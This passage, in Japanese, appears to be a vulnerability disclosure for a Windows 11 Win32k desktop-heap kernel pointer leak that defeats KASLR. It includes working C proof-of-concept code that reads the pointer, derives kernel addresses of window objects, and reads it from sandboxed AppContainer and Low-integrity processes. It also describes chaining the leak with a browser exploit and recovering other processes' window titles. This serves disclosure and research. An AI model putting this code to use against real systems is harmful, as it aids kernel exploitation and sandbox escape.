CVE-2026-50416: Windows 11 KASLR回避
Windows 11 Insiderビルド 10.0.28020.2149 において、Win32kデスクトップヒープのユーザーモードマッピングが、オフセット 0x100 に生のカーネルセッションプールポインタを露出していました。
この読み取り自体は、ほぼ攻撃的に小さなものです:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
私のテストセッションでは、次の値が返されました:
0xffffc600dcc00040
この値は、同じデスクトップ上のプロセス間では同一であり、再起動後には変化しました。別のデスクトップで起動されたプロセスは、異なるデスクトップヒープを持つため、異なる値を受け取りました。この1つのQWORDから、PoCはカーネルデスクトップヒープベースを復元し、その後 user32!gSharedInfo を使用して、稼働中のウィンドウオブジェクトのカーネルアドレスを導出しました。
同じ読み取りは、Low整合性レベル、AppContainer、ゼロケーパビリティのLPAC構成、およびゼロケーパビリティのLow整合性AppContainer子プロセスからも機能しました。
デスクトップヒープは共有されることになっています。カーネルポインタは共有されるものではありません。
Win32kは、ウィンドウ、メニュー、クラス、フック、および関連するメタデータなどのUSERオブジェクトをデスクトップヒープに格納します。各デスクトップには独自のヒープがあります。そのヒープの一部は、デスクトップに関連付けられたプロセスにマッピングされ、ユーザーモードがすべてのフィールドについてカーネルに問い合わせることなく共有GUI状態を読み取れるようにします。
テストしたx64ビルドでは、ユーザーモードマッピングは現在のスレッドの TEB クライアントデータを介して到達できます:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
オフセットはビルド固有ですが、経路は単純です:
GS:[0x30]
-> TEB
-> TEB + 0x800 の ClientInfo
-> ClientInfo[5]
-> ユーザーモードデスクトップヒープマッピング
PoCは返されたアドレスに対して VirtualQuery を呼び出し、マッピングされた領域とその保護を記録します。まだ何も問題は発生していません。読み取り専用のデスクトップヒープマッピングは、通常のWin32kの動作です。
問題は、その256バイト先から始まります。
メインのPoCは、マッピングされたヒープから1つのQWORDを読み取ります:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
この値は、テストシステム上でカーネル仮想アドレスから期待される基本的なチェックを通過しました:
安定性テストは、STATIC、BUTTON、EDIT ウィンドウを作成し、作成前に値を読み取り、ウィンドウが存在する間に再度読み取り、それらを破棄して3回目の読み取りを行います。
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
3つの読み取りすべてが同じ値を返しました。ウィンドウ割り当てアクティビティによって値は移動しませんでした。この動作は、短命なオブジェクトポインタではなく、デスクトップヒープメタデータ内のフィールドと一致します。
クロスプロセス特性も同様に重要です。同じデスクトップに接続された2つのプロセスは、同じデスクトップヒープを参照しているため、同じリーク値を観測します。再起動後、KASLRはセッションに新しいアドレスを与えます。別のデスクトップに配置された子プロセスは、そのデスクトップが別のヒープを所有しているため、別のポインタを観測します。
これにより、リークに有用な識別性が与えられます:
同じ起動 + 同じデスクトップ -> 同じポインタ
同じ起動 + 異なるデスクトップ -> 異なるポインタ
新しい起動 -> 異なるポインタ
テストしたビルドでは、リークしたポインタは、PoCが使用するカーネルデスクトップヒープベースより 0x40 バイト上に位置します:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
記録されたセッション値を使用:
リークしたポインタ = 0xffffc600dcc00040
カーネルデスクトップヒープベース = 0xffffc600dcc00000
この関係はビルド固有です。テスト中に使用されたビルドでは、次のステップに必要なカーネル側のアンカーを提供します。
1つのポインタだけでもすでに有用です。選択したオブジェクトのアドレスは、はるかに有用です。
user32.dll は gSharedInfo をエクスポートしており、USERハンドルエントリリストと各エントリのサイズを公開しています:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
HWND にはUSERハンドルテーブルへのインデックスが含まれています。PoCはハンドルの下位16ビットを取得し、一致するエントリに移動して、そこに格納されているデスクトップヒープオフセットを読み取ります。
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
同じオフセットが両方のマッピング内のオブジェクトを指定します:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
したがって、完全な計算は次のとおりです:
カーネルデスクトップヒープベース = desktop_heap[0x100] - 0x40
ハンドルインデックス = HWND & 0xffff
ヒープオフセット = aheList[ハンドルインデックス].offset
カーネルウィンドウアドレス = カーネルデスクトップヒープベース + ヒープオフセット
PoCは6つのウィンドウクラスを作成し、それぞれについて計算を実行します:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXすべてのオブジェクトについて、HWND、ハンドルインデックス、ユーザーモードオブジェクトアドレス、ヒープオフセット、およびカーネルアドレスを出力します。
HWND
-> 下位16ビットのハンドルインデックス
-> gSharedInfoハンドルエントリ
-> デスクトップヒープオフセット
-> カーネルデスクトップヒープベース + オフセット
-> そのウィンドウオブジェクトのカーネルアドレス
これが、この開示を、緩いカーネルポインタから、テストしたデスクトップヒープ上の選択されたUSERオブジェクトのアドレスオラクルへと変える部分です。
デスクトップヒープは共有マッピングを通じて提供されます。整合性レベルとAppContainer制限は、プロセスごとにそのマッピングの内容を書き換えることはありません。プロセスがデスクトップヒープを受け取れば、0x100 のQWORDも一緒に受け取ります。
サンドボックスPoCは、いくつかのコンテキストで子プロセスを起動し、各子プロセスに自身の TEB と自身のデスクトップヒープマッピングから値を読み取らせます。
| コンテキスト | 構成 | 結果 |
|---|---|---|
| 中整合性 | 標準ユーザープロセス | リーク |
| 低整合性 | トークン整合性をLowに低下 | リーク |
| AppContainer | 要求ケーパビリティゼロ | リーク |
| LPAC構成 | すべてのアプリケーションパッケージのオプトアウトポリシー、要求ケーパビリティゼロ | リーク |
| 低整合性AppContainer | Low IL + AppContainer、要求ケーパビリティゼロ | リーク |
| 代替デスクトップ | 新しいデスクトップに割り当てられた子プロセス | 異なる値をリーク |
最初の5つの子プロセスはデフォルトデスクトップに接続され、同じアドレスを返しました。代替デスクトップの子プロセスは、別のデスクトップヒープを受け取ったため、別のアドレスを返しました。
子プロセスの出力はコンパクトな形式で、親プロセスが結果を比較できるようになっています:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
より厳格なヘルパーは、トークン状態とケーパビリティ数も記録します:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
重要な詳細は、子プロセスが特別なWin32k APIを呼び出せることではありません。その必要はありません。マッピングが存在すれば、リークは通常のユーザーモードメモリ読み取りです。
別のヘルパーは、CreateWindow を呼び出さずに読み取りを実行します。
デスクトップヒープポインタをチェックし、desktop_heap[0x100] を読み取り、user32.dll を明示的にロードし、マッピングを再度チェックし、それでもウィンドウを作成しません。別のレンダラー風の子プロセスは、user32.dll をロードし、同じ読み取りを実行し、ウィンドウを作成せずに終了します。
有用な結果は単純明快です:
リークしたQWORDを読み取る前に、ウィンドウオブジェクトを作成する必要はありません。
リークは、攻撃プロセスによって作成されたウィンドウではなく、デスクトップヒープマッピング自体に属しています。
supporting_proof_remote_trigger.c は、要求ケーパビリティがゼロの低整合性AppContainer子プロセスを作成します。子プロセスは少量の作業のみを行います:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
記録された出力:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
これは、レンダラー風のトークン構成からの読み取りを示しています。そのようなプロセスでネイティブコード実行をすでに提供する別のブラウザメモリ破壊バグは、このデスクトップヒープポインタを読み取る前に、別の情報開示を必要としません。
信頼できるポインタを取得したら、マッピングされた領域をスキャンして他に何が存在するかを確認しました。
スキャナーは、実行ごとに、同じカノニカルアドレスとアライメントチェックを通過する6〜10個の追加の一意なQWORD値を見つけました。正確な数はデスクトップアクティビティによって変化しました。オフセット 0x100 が安定した主要なリークでしたが、マッピング内でカーネルアドレス形状を持つ唯一の値ではありませんでした。
機密データヘルパーは、EnumWindows でトップレベルウィンドウを列挙し、それらの所有PIDとタイトルを収集し、その後、デスクトップヒープマッピング内で同じタイトルをUTF-16文字列として検索します。
記録された実行では、他のプロセスに属する20の一意なタイトルが見つかりました。例には、ブラウザタブ、Discord、Explorer、Spotify、およびシステムトレイウィンドウが含まれていました。
プログラムは、次の両方の条件が真の場合にのみタイトルを出力します:
EnumWindows がそのタイトルと、テストプロセスとは異なる所有PIDを持つウィンドウを報告する。これにより、メモリ内で見つかったランダムな印刷可能文字列に依存するのではなく、出力を簡単に検証できます。
ヘルパーはまた、マッピング内のDWORD値をスキャンします。値は次の場合にのみカウントされます:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) がそのPIDに対して成功する。EnumWindows によって見つかったウィンドウも所有している。記録された実行では、605の一致するDWORD出現が見つかりました。これはヒープ内の出現数であり、605の一意なプロセスではありません。同じPIDが複数回出現することがあります。
ヘルパーは、ES_PASSWORD を持つ EDIT コントロールを作成し、そのテキストを SecretPassword123 に設定し、マッピングされた領域で SecretP プレフィックスを検索します。テストした実行では見つかりませんでした。
したがって、マッピングはタイトル、PID出現、およびカーネル形状の値を公開しましたが、テストしたパスワード文字列はそこに表示されませんでした。
Win32kメモリ破壊バグの場合、オブジェクトが存在することを知ることは、それがカーネルメモリのどこに存在するかを知ることと同じではありません。
開示がなければ、攻撃者は未知のデスクトップヒープベースと未知のオブジェクトアドレスに対処する必要があります。開示があれば、アドレス側は次のようになります: